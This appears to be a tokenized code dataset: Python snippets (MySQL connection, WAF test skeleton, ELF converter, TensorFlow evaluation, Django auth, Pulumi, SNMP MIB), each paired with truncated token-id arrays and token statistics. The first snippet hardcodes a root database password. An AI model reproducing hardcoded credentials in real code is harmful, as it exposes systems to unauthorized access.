content
stringlengths
1
1.05M
input_ids
listlengths
1
883k
ratio_char_token
float64
1
22.9
token_count
int64
1
883k
import mysql.connector import socket from contextlib import closing import json import random packetType= ["INF","TRN","USR"] database = mysql.connector.connect( host="localhost", user="root", port="3307", passwd="ergin00000", database="farmchain" )
[ 11748, 48761, 13, 8443, 273, 198, 11748, 17802, 198, 6738, 4732, 8019, 1330, 9605, 198, 11748, 33918, 198, 11748, 4738, 198, 198, 8002, 316, 6030, 28, 14631, 1268, 37, 2430, 5446, 45, 2430, 2937, 49, 8973, 198, 48806, 796, 48761, 13, ...
2.864583
96
#!/usr/bin/python '''Test WAF Access settings''' #TODO: make so waflz_server only runs once and then can post to it # ------------------------------------------------------------------------------ # Imports # ------------------------------------------------------------------------------ import pytest import subprocess import os import sys import json from pprint import pprint import time import requests # ------------------------------------------------------------------------------ # Constants # ------------------------------------------------------------------------------ G_TEST_HOST = 'http://127.0.0.1:12345/' # ------------------------------------------------------------------------------ # globals # ------------------------------------------------------------------------------ g_server_pid = -1 # ------------------------------------------------------------------------------ # # ------------------------------------------------------------------------------ # ------------------------------------------------------------------------------ #setup_func # ------------------------------------------------------------------------------ # ------------------------------------------------------------------------------ #teardown_func # ------------------------------------------------------------------------------ def teardown_func(): global g_server_pid time.sleep(.5) print 'teardown g_server_pid: %d'%(g_server_pid) if g_server_pid != -1: l_code, l_out, l_err = run_command('kill -9 %d'%(g_server_pid)) time.sleep(.5) # ------------------------------------------------------------------------------ # test_bb_modsecurity_ec_access_settings_ignore_args # ------------------------------------------------------------------------------ # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_02_bypass_in_ignore_args # ------------------------------------------------------------------------------ # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_03_block_headers_not_in_ignore_header_list # ------------------------------------------------------------------------------ # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_04_bypass_headers_in_ignore_header_list # ------------------------------------------------------------------------------ # ------------------------------------------------------------------------------- # test_bb_modsec_ec_access_settings_05_bypass_headers_in_ignore_header_list_regex # ------------------------------------------------------------------------------- # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_06_block_cookie_not_in_ignore_cookie_list # ------------------------------------------------------------------------------ # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_07_bypass_cookie_in_ignore_cookie_list # ------------------------------------------------------------------------------ # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_08_ignore_cookie_in_ignore_cookie_list # ------------------------------------------------------------------------------ # ------------------------------------------------------------------------------ # test_bb_modsec_ec_access_settings_09_block_disallowed_http_method # ------------------------------------------------------------------------------
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 7061, 6, 14402, 370, 8579, 8798, 6460, 7061, 6, 198, 2, 51, 3727, 46, 25, 787, 523, 266, 1878, 75, 89, 62, 15388, 691, 4539, 1752, 290, 788, 460, 1281, 284, 340, 220, 198, 2, 16529, 261...
5.933764
619
#coding: utf-8 from __future__ import print_function from builtins import zip from builtins import object from cosmosis import output as output_module import numpy as np import sys import os
[ 2, 66, 7656, 25, 3384, 69, 12, 23, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 6738, 3170, 1040, 1330, 19974, 198, 6738, 3170, 1040, 1330, 2134, 198, 6738, 8615, 76, 5958, 1330, 5072, 355, 5072, 62, 21412, 198, 198, 117...
3.574074
54
#!/usr/bin/env python # # convert SDCC .rel files to 32-bit ELF relocatable # # resulting file is simple: # # ------------------------ # ELF header # ------------------------ # .text section # .shstrtab section # .strtab section # .symtab section # ------------------------ # NULL elf32_shdr # .text elf32_shdr # .shstrtab elf32_shdr # .symtab elf32_shdr # .strtab elf32_shdr # ------------------------ import os import re import sys from struct import pack #------------------------------------------------------------------------------ # ELF helpers #------------------------------------------------------------------------------ (PF_X, PF_W, PF_R) = (1,2,4) (SHT_NULL, SHT_PROGBITS, SHT_STRTAB) = (0,1,3) sz_ehdr = 0x34 sz_shdr = 0x28 #------------------------------------------------------------------------------ # read .map file for symbols #------------------------------------------------------------------------------ fpath_map = sys.argv[2] assert fpath_map.endswith('.map') with open(fpath_map) as fp: lines = fp.readlines() (_CODE_ADDR, _CODE_SZ) = (None, None) (i_code, i_header) = (None, None) for (i, line) in enumerate(lines): if line.startswith('_CODE'): m = re.match(r'^_CODE\s+([A-F0-9]{8})\s+([A-F0-9]{8})', line) (addr, size) = map(lambda x: int(x, 16), m.group(1,2)) if not i_code: i_code = i _CODE_ADDR = addr _CODE_SZ = size else: if addr != _CODE_ADDR: raise Exception('conflicting code segment addresses') if size != _CODE_SZ: raise Exception('conflicting code segment sizes') if line.startswith('_HEADER0'): i_header = i break assert i_code and i_header and i_code < i_header syms = [] for line in lines[i_code:i_header]: m = re.search(r'([A-F0-9]{8})\s+(_\w+)', line) if m: (addr, symname) = m.group(1, 2) print('found %s: %s' % (addr, symname)) syms.append((symname, int(addr, 16))); assert syms print('_CODE [%08X, %08X)' % (_CODE_ADDR, _CODE_ADDR+_CODE_SZ)) print('_CODE symbols from') for (name, addr) in syms: print('%08X: %s' % (addr, name)) #------------------------------------------------------------------------------ # read .ihx file #------------------------------------------------------------------------------ fpath_ihx = sys.argv[1] assert fpath_ihx.endswith('.ihx') code_area = [b'\x00'] * (_CODE_ADDR + _CODE_SZ) with open(fpath_ihx) as fp: for line in fp.readlines(): m = re.match(r'^:(..)(....)00(.*)(..)', line) if m: (count, addr, data, csum) = m.group(1,2,3,4) count = int(count,16) assert count == len(data)/2 addr = int(addr,16) if not (addr >= _CODE_ADDR and addr < (_CODE_ADDR + _CODE_SZ)): continue print('%08X: ' % addr, end='') for i in range(count): byte_str = data[2*i]+data[2*i+1] print('%s ' % byte_str, end='') code_area[addr + i] = pack('B', int(byte_str, 16)) print('') continue m = re.match(r'^:00000001FF', line) if m: break raise Exception('got unexpected IHX line: %s' % line) assert code_area #print(code_area) #------------------------------------------------------------------------------ # write ELF #------------------------------------------------------------------------------ # process symbols, build string table syms = sorted(syms, key=lambda name_addr: name_addr[1]) func2size = {} func2stroffs = {} strtab = b'\x00' for i in range(len(syms)): (name, addr) = syms[i] if i == len(syms)-1: func2size[name] = len(code_area) - addr else: func2size[name] = syms[i+1][1] - addr func2stroffs[name] = len(strtab) strtab = strtab + name.encode('utf-8') + b'\x00' print('%04X: %s size %X' % (addr, name, func2size[name])) fp = open('tests.elf', 'wb') # elf32_hdr (placeholder, we'll come back to fill in offsets) print('elf32_hdr @ %X' % fp.tell()) fp.write(b'\x00' * sz_ehdr) # .text section contents o_text = fp.tell() print('placing .text @ %X' % o_text) for byte in code_area: fp.write(byte) sz_text = fp.tell() - o_text # .shstrtab section contents scn_shstrtab = b'\x00.text\x00.shstrtab\x00.symtab\x00.strtab\x00' align(fp) o_shstrtab = fp.tell() print('placing .shstrtab @ %X' % o_shstrtab) fp.write(scn_shstrtab) sz_shstrtab = fp.tell() - o_shstrtab # .symtab section contents align(fp) o_symtab = fp.tell() print('placing .symtab @ %X' % o_symtab) for (name, addr) in syms: st_name = func2stroffs[name] st_value = addr st_size = func2size[name] st_info = 0x12 # bind:1(GLOBAL) type:2(FUNC) st_other = 0 st_shndx = 0x1 # section header index: 0'th: NULL 1'th: .text Elf32_Sym = pack('<IIIBBH', st_name, st_value, st_size, st_info, st_other, st_shndx) fp.write(Elf32_Sym) sz_symtab = fp.tell() - o_symtab # .strtab section contents align(fp) o_strtab = fp.tell() print('placing .strtab @ %X' % o_strtab) fp.write(strtab) sz_strtab = fp.tell() - o_strtab # null section header (index 0) align(fp) o_shdr_null = fp.tell() print('placing shdr NULL @ %X' % o_shdr_null) fp.write(b'\x00' * sz_shdr) # .text section header (index 1) o_shdr_text = fp.tell() print('placing shdr .text @ %X' % fp.tell()) sh_name = scn_shstrtab.index(b'.text') sh_type = 1 # SHT_PROGBITS sh_flags = 6 # ALLOC|EXECINSTR sh_addr = 0 sh_offset = o_text sh_size = sz_text sh_link = 0 sh_info = 0 sh_addralign = 4 sh_entsize = 0 tmp = pack('<IIIIIIIIII', \ sh_name, sh_type, sh_flags, sh_addr, sh_offset, sh_size, sh_link, sh_info, \ sh_addralign, sh_entsize) fp.write(tmp) # .shstrtab section header (index 2) o_shdr_shstrtab = fp.tell() print('placing shdr .shstrtab @ %X' % fp.tell()) sh_name = scn_shstrtab.index(b'.shstrtab') sh_type = 3 #SHT_STRTAB sh_flags = 0 sh_addr = 0 sh_offset = o_shstrtab sh_size = sz_shstrtab sh_link = 0 sh_info = 0 sh_addralign = 1 sh_entsize = 0 tmp = pack('<IIIIIIIIII', \ sh_name, sh_type, sh_flags, sh_addr, sh_offset, sh_size, sh_link, sh_info, \ sh_addralign, sh_entsize) fp.write(tmp) # .symtab section header (index 3) o_shdr_symtab = fp.tell() print('placing shdr .symtab @ %X' % fp.tell()) sh_name = scn_shstrtab.index(b'.symtab') sh_type = 2 #SHT_SYMTAB sh_flags = 0 sh_addr = 0 sh_offset = o_symtab sh_size = sz_symtab sh_link = 4 # link to scn #4 (find strings in .strtab) sh_info = 0 sh_addralign = 4 sh_entsize = 0 tmp = pack('<IIIIIIIIII', \ sh_name, sh_type, sh_flags, sh_addr, sh_offset, sh_size, sh_link, sh_info, \ sh_addralign, sh_entsize) fp.write(tmp) # .strtab section header (index 4) o_shdr_strtab = fp.tell() print('placing shdr .strtab @ %X' % fp.tell()) sh_name = scn_shstrtab.index(b'.strtab') sh_type = 3 #SHT_STRTAB sh_flags = 0 sh_addr = 0 sh_offset = o_strtab sh_size = sz_strtab sh_link = 0 sh_info = 0 sh_addralign = 1 sh_entsize = 0 tmp = pack('<IIIIIIIIII', \ sh_name, sh_type, sh_flags, sh_addr, sh_offset, sh_size, sh_link, sh_info, \ sh_addralign, sh_entsize) fp.write(tmp) # seek back, write real elf header hdr = b'\x7FELF' hdr += b'\x01' # e_ident[EI_CLASS] 32-bit hdr += b'\x01' # e_ident[EI_DATA] LSB (little-end) hdr += b'\x01\x00\x00' # version, osabi, abiversion hdr += b'\x00'*7 assert len(hdr) == 16 hdr += pack('<H', 1) # e_type = ET_REL hdr += pack('<H', 220) # e_machine = EM_Z80 hdr += pack('<I', 1) # e_version = EV_CURRENT hdr += pack('<I', 0) # e_entry hdr += pack('<I', 0) # e_phoff hdr += pack('<I', o_shdr_null) # e_shoff hdr += pack('<I', 0) # e_flags hdr += pack('<H', sz_ehdr) # e_ehsize hdr += pack('<H', 0) # e_phentsize hdr += pack('<H', 0) # e_phnum hdr += pack('<H', sz_shdr) # e_shentsize hdr += pack('<H', 5) # e_shnum hdr += pack('<H', 2) # e_shstrndx = index of .shstrtab assert len(hdr) == sz_ehdr fp.seek(0, os.SEEK_SET) fp.write(hdr) # done! fp.close()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 198, 2, 10385, 9834, 4093, 764, 2411, 3696, 284, 3933, 12, 2545, 17852, 37, 823, 420, 21156, 198, 2, 198, 2, 7186, 2393, 318, 2829, 25, 198, 2, 198, 2, 220, 22369, 198, 2, 178...
2.200546
3,665
#! /usr/bin/env python import tensorflow as tf import numpy as np import os import time import datetime from tensorflow.contrib import learn from input_helpers import InputHelper # Parameters # ================================================== # Eval Parameters tf.flags.DEFINE_integer("batch_size", 64, "Batch Size (default: 64)") tf.flags.DEFINE_string("checkpoint_dir", "", "Checkpoint directory from training run") tf.flags.DEFINE_string("eval_filepath", "match_valid.tsv", "Evaluate on this data (Default: None)") tf.flags.DEFINE_string("vocab_filepath", "runs/1479874609/checkpoints/vocab", "Load training time vocabulary (Default: None)") tf.flags.DEFINE_string("model", "runs/1479874609/checkpoints/model-32000", "Load trained model checkpoint (Default: None)") # Misc Parameters tf.flags.DEFINE_boolean("allow_soft_placement", True, "Allow device soft device placement") tf.flags.DEFINE_boolean("log_device_placement", False, "Log placement of ops on devices") FLAGS = tf.flags.FLAGS FLAGS._parse_flags() print("\nParameters:") for attr, value in sorted(FLAGS.__flags.items()): print("{}={}".format(attr.upper(), value)) print("") if FLAGS.eval_filepath==None or FLAGS.vocab_filepath==None or FLAGS.model==None : print("Eval or Vocab filepaths are empty.") exit() # load data and map id-transform based on training time vocabulary inpH = InputHelper() x1_test,x2_test,y_test = inpH.getTestDataSet(FLAGS.eval_filepath, FLAGS.vocab_filepath, 30) print("\nEvaluating...\n") # Evaluation # ================================================== checkpoint_file = FLAGS.model print(checkpoint_file) graph = tf.Graph() with graph.as_default(): session_conf = tf.ConfigProto( allow_soft_placement=FLAGS.allow_soft_placement, log_device_placement=FLAGS.log_device_placement) sess = tf.Session(config=session_conf) with sess.as_default(): # Load the saved meta graph and restore variables saver = tf.train.import_meta_graph("{}.meta".format(checkpoint_file)) sess.run(tf.initialize_all_variables()) saver.restore(sess, checkpoint_file) # Get the placeholders from the graph by name input_x1 = graph.get_operation_by_name("input_x1").outputs[0] input_x2 = graph.get_operation_by_name("input_x2").outputs[0] input_y = graph.get_operation_by_name("input_y").outputs[0] dropout_keep_prob = graph.get_operation_by_name("dropout_keep_prob").outputs[0] # Tensors we want to evaluate predictions = graph.get_operation_by_name("output/distance").outputs[0] accuracy = graph.get_operation_by_name("accuracy/accuracy").outputs[0] sim = graph.get_operation_by_name("accuracy/temp_sim").outputs[0] #emb = graph.get_operation_by_name("embedding/W").outputs[0] #embedded_chars = tf.nn.embedding_lookup(emb,input_x) # Generate batches for one epoch batches = inpH.batch_iter(list(zip(x1_test,x2_test,y_test)), 2*FLAGS.batch_size, 1, shuffle=False) # Collect the predictions here all_predictions = [] all_d=[] for db in batches: x1_dev_b,x2_dev_b,y_dev_b = zip(*db) batch_predictions, batch_acc, sim = sess.run([predictions,accuracy,sim], {input_x1: x1_dev_b, input_x2: x2_dev_b, input_y:y_dev_b, dropout_keep_prob: 1.0}) all_predictions = np.concatenate([all_predictions, batch_predictions]) print(batch_predictions) all_d = np.concatenate([all_d, sim]) print("DEV acc {}".format(batch_acc)) for ex in all_predictions: print(ex) correct_predictions = float(np.mean(all_d == y_test)) print("Accuracy: {:g}".format(correct_predictions))
[ 2, 0, 1220, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 11748, 11192, 273, 11125, 355, 48700, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 28686, 198, 11748, 640, 198, 11748, 4818, 8079, 198, 6738, 11192, 273, 11125, 13, 3642, 822, ...
2.539349
1,474
from django.urls import reverse from django.conf import settings from django.contrib import messages from django.shortcuts import render, redirect from django.core.mail import send_mail from django.contrib.auth import login, logout, views, authenticate from django.views.generic.edit import CreateView from django.contrib.sessions.models import Session from django.contrib.auth.decorators import login_required, permission_required from accounts.tools import activater, mailer from accounts.forms import SignUpForm, LoginForm from accounts.models import User class UserLogin(views.LoginView): template_name = 'auth/login.html' authentication_form = LoginForm class SignUpView(CreateView): form_class = SignUpForm template_name = 'auth/signup.html' def user_manage_permission(user, username): if not user.is_staff: if user.username == username: return True else: if user.username != username: return True return False user_login = UserLogin.as_view() user_signup = SignUpView.as_view() user_logout = views.LogoutView.as_view()
[ 6738, 42625, 14208, 13, 6371, 82, 1330, 9575, 198, 6738, 42625, 14208, 13, 10414, 1330, 6460, 198, 6738, 42625, 14208, 13, 3642, 822, 1330, 6218, 198, 6738, 42625, 14208, 13, 19509, 23779, 1330, 8543, 11, 18941, 198, 6738, 42625, 14208, ...
3.049451
364
v<caret>ar = (1, 'foo', None)
[ 85, 27, 6651, 83, 29, 283, 796, 357, 16, 11, 705, 21943, 3256, 6045, 8 ]
1.933333
15
# THIS FILE IS GENERATED FROM SCIPY SETUP.PY short_version = '1.5.4' version = '1.5.4' full_version = '1.5.4' git_revision = '19acfed431060aafaa963f7e530c95e70cd4b85c' release = True if not release: version = full_version
[ 198, 2, 12680, 45811, 3180, 24700, 1137, 11617, 16034, 6374, 4061, 56, 25823, 8577, 13, 47, 56, 198, 19509, 62, 9641, 796, 705, 16, 13, 20, 13, 19, 6, 198, 9641, 796, 705, 16, 13, 20, 13, 19, 6, 198, 12853, 62, 9641, 796, 705, ...
2.213592
103
from typing import TextIO, Union from .json import load_json from .yaml import load_yaml PARSERS = { 'yaml': load_yaml, 'json': load_json, }
[ 6738, 19720, 1330, 8255, 9399, 11, 4479, 198, 198, 6738, 764, 17752, 1330, 3440, 62, 17752, 198, 6738, 764, 88, 43695, 1330, 3440, 62, 88, 43695, 198, 198, 27082, 50, 4877, 796, 1391, 198, 220, 220, 220, 705, 88, 43695, 10354, 3440, ...
2.533333
60
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs __all__ = [ 'GetWorkspaceResult', 'AwaitableGetWorkspaceResult', 'get_workspace', 'get_workspace_output', ] def get_workspace(id: Optional[str] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetWorkspaceResult: """ Resource Type definition for AWS::WorkSpaces::Workspace """ __args__ = dict() __args__['id'] = id if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('aws-native:workspaces:getWorkspace', __args__, opts=opts, typ=GetWorkspaceResult).value return AwaitableGetWorkspaceResult( bundle_id=__ret__.bundle_id, directory_id=__ret__.directory_id, id=__ret__.id, root_volume_encryption_enabled=__ret__.root_volume_encryption_enabled, tags=__ret__.tags, user_volume_encryption_enabled=__ret__.user_volume_encryption_enabled, volume_encryption_key=__ret__.volume_encryption_key, workspace_properties=__ret__.workspace_properties)
[ 2, 19617, 28, 40477, 12, 23, 198, 2, 17202, 39410, 25, 428, 2393, 373, 7560, 416, 262, 21624, 12994, 26144, 35986, 13, 17202, 198, 2, 17202, 2141, 407, 4370, 416, 1021, 4556, 345, 821, 1728, 345, 760, 644, 345, 389, 1804, 0, 17202, ...
2.628885
547
__author__ = 'AlexYang'
[ 834, 9800, 834, 796, 705, 15309, 38663, 6, 198 ]
2.666667
9
# -*- coding: utf-8 -*- from quail.distance import * import numpy as np import pytest from scipy.spatial.distance import cdist
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 6738, 627, 603, 13, 30246, 1330, 1635, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 12972, 9288, 198, 6738, 629, 541, 88, 13, 2777, 34961, 13, 30246, 1330, 269, ...
2.782609
46
#!/usr/bin/env python ############################################################################### # # # manifestManager.py # # # # Work with online data manifests (creating / syncing / validating) # # # # Copyright (C) Michael Imelfort # # # ############################################################################### # # # This program is free software: you can redistribute it and/or modify # # it under the terms of the GNU General Public License as published by # # the Free Software Foundation, either version 3 of the License, or # # (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, # # but WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License # # along with this program. If not, see <http://www.gnu.org/licenses/>. # # # ############################################################################### __author__ = "Michael Imelfort" __copyright__ = "Copyright 2014" __credits__ = ["Michael Imelfort"] __license__ = "GPLv3" __maintainer__ = "Michael Imelfort" __email__ = "mike@mikeimelfort.com" __version__ = "0.35" ############################################################################### ############################################################################### ############################################################################### ############################################################################### __MANIFEST__ = ".dmanifest" ############################################################################### ############################################################################### ############################################################################### ############################################################################### # system includes import os import hashlib import urllib.request, urllib.error, urllib.parse import urllib.request, urllib.parse, urllib.error import shutil import errno # local includes from fileEntity import FileEntity as FE ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############################################################################### # %% DEBUG # =================================================== # main() # =================================================== # for debugging purposes (code called as a script) # the code is called from here # =================================================== if __name__ == '__main__': man = ManifestManager() man.createManifest("/home/olivi/billy/python",manifestName="Pizza3.manifest")
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 29113, 29113, 7804, 4242, 21017, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220,...
2.742495
1,499
# # PySNMP MIB module ZYXEL-AclV2-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ZYXEL-AclV2-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 21:43:03 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueSizeConstraint, ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsUnion", "SingleValueConstraint", "ConstraintsIntersection", "ValueRangeConstraint") InetAddress, = mibBuilder.importSymbols("INET-ADDRESS-MIB", "InetAddress") EnabledStatus, = mibBuilder.importSymbols("P-BRIDGE-MIB", "EnabledStatus") PortList, = mibBuilder.importSymbols("Q-BRIDGE-MIB", "PortList") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") Counter32, Integer32, Counter64, NotificationType, Bits, ModuleIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, MibIdentifier, TimeTicks, iso, Gauge32, Unsigned32, IpAddress, ObjectIdentity = mibBuilder.importSymbols("SNMPv2-SMI", "Counter32", "Integer32", "Counter64", "NotificationType", "Bits", "ModuleIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "MibIdentifier", "TimeTicks", "iso", "Gauge32", "Unsigned32", "IpAddress", "ObjectIdentity") RowStatus, MacAddress, DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "RowStatus", "MacAddress", "DisplayString", "TextualConvention") esMgmt, = mibBuilder.importSymbols("ZYXEL-ES-SMI", "esMgmt") zyxelAclV2 = ModuleIdentity((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105)) if mibBuilder.loadTexts: zyxelAclV2.setLastUpdated('201207010000Z') if mibBuilder.loadTexts: zyxelAclV2.setOrganization('Enterprise Solution ZyXEL') zyxelAclV2ClassifierStatus = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1)) zyxelAclV2PolicyStatus = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2)) zyxelAclV2TrapInfoObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 3)) zyxelAclV2Notifications = MibIdentifier((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 4)) zyxelAclV2ClassifierTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierTable.setStatus('current') zyxelAclV2ClassifierEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierEntry.setStatus('current') zyAclV2ClassifierName = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 1), DisplayString()) if mibBuilder.loadTexts: zyAclV2ClassifierName.setStatus('current') zyAclV2ClassifierState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 2), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierState.setStatus('current') zyAclV2ClassifierWeight = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierWeight.setStatus('current') zyAclV2ClassifierCountState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 4), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierCountState.setStatus('current') zyAclV2ClassifierLogState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 5), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierLogState.setStatus('current') zyAclV2ClassifierTimeRange = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 6), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierTimeRange.setStatus('current') zyAclV2ClassifierMatchCount = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 1, 1, 7), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierMatchCount.setStatus('current') zyxelAclV2ClassifierEthernetTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierEthernetTable.setStatus('current') zyxelAclV2ClassifierEthernetEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierEthernetEntry.setStatus('current') zyAclV2ClassifierEthernetSourcePorts = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 1), PortList()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourcePorts.setStatus('current') zyAclV2ClassifierEthernetSourceTrunks = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 2), PortList()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourceTrunks.setStatus('current') zyAclV2ClassifierEthernetPacketFormat = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("all", 1), ("ethernetIIUntagged", 2), ("ethernetIITagged", 3), ("ethernet802dot3Untagged", 4), ("ethernet802dot3Tagged", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetPacketFormat.setStatus('current') zyAclV2ClassifierEthernet8021pPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernet8021pPriority.setStatus('current') zyAclV2ClassifierEthernetInner8021pPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetInner8021pPriority.setStatus('current') zyAclV2ClassifierEthernetType = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetType.setStatus('current') zyAclV2ClassifierEthernetSourceMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 7), MacAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourceMacAddress.setStatus('current') zyAclV2ClassifierEthernetSourceMACMask = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 8), MacAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetSourceMACMask.setStatus('current') zyAclV2ClassifierEthernetDestinationMacAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 9), MacAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetDestinationMacAddress.setStatus('current') zyAclV2ClassifierEthernetDestinationMACMask = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 2, 1, 10), MacAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierEthernetDestinationMACMask.setStatus('current') zyxelAclV2ClassifierVlanTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierVlanTable.setStatus('current') zyxelAclV2ClassifierVlanEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierVlanEntry.setStatus('current') zyAclV2ClassifierVlanMap1k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap1k.setStatus('current') zyAclV2ClassifierVlanMap2k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap2k.setStatus('current') zyAclV2ClassifierVlanMap3k = MibTableColumn((1, 3, 6, 1, 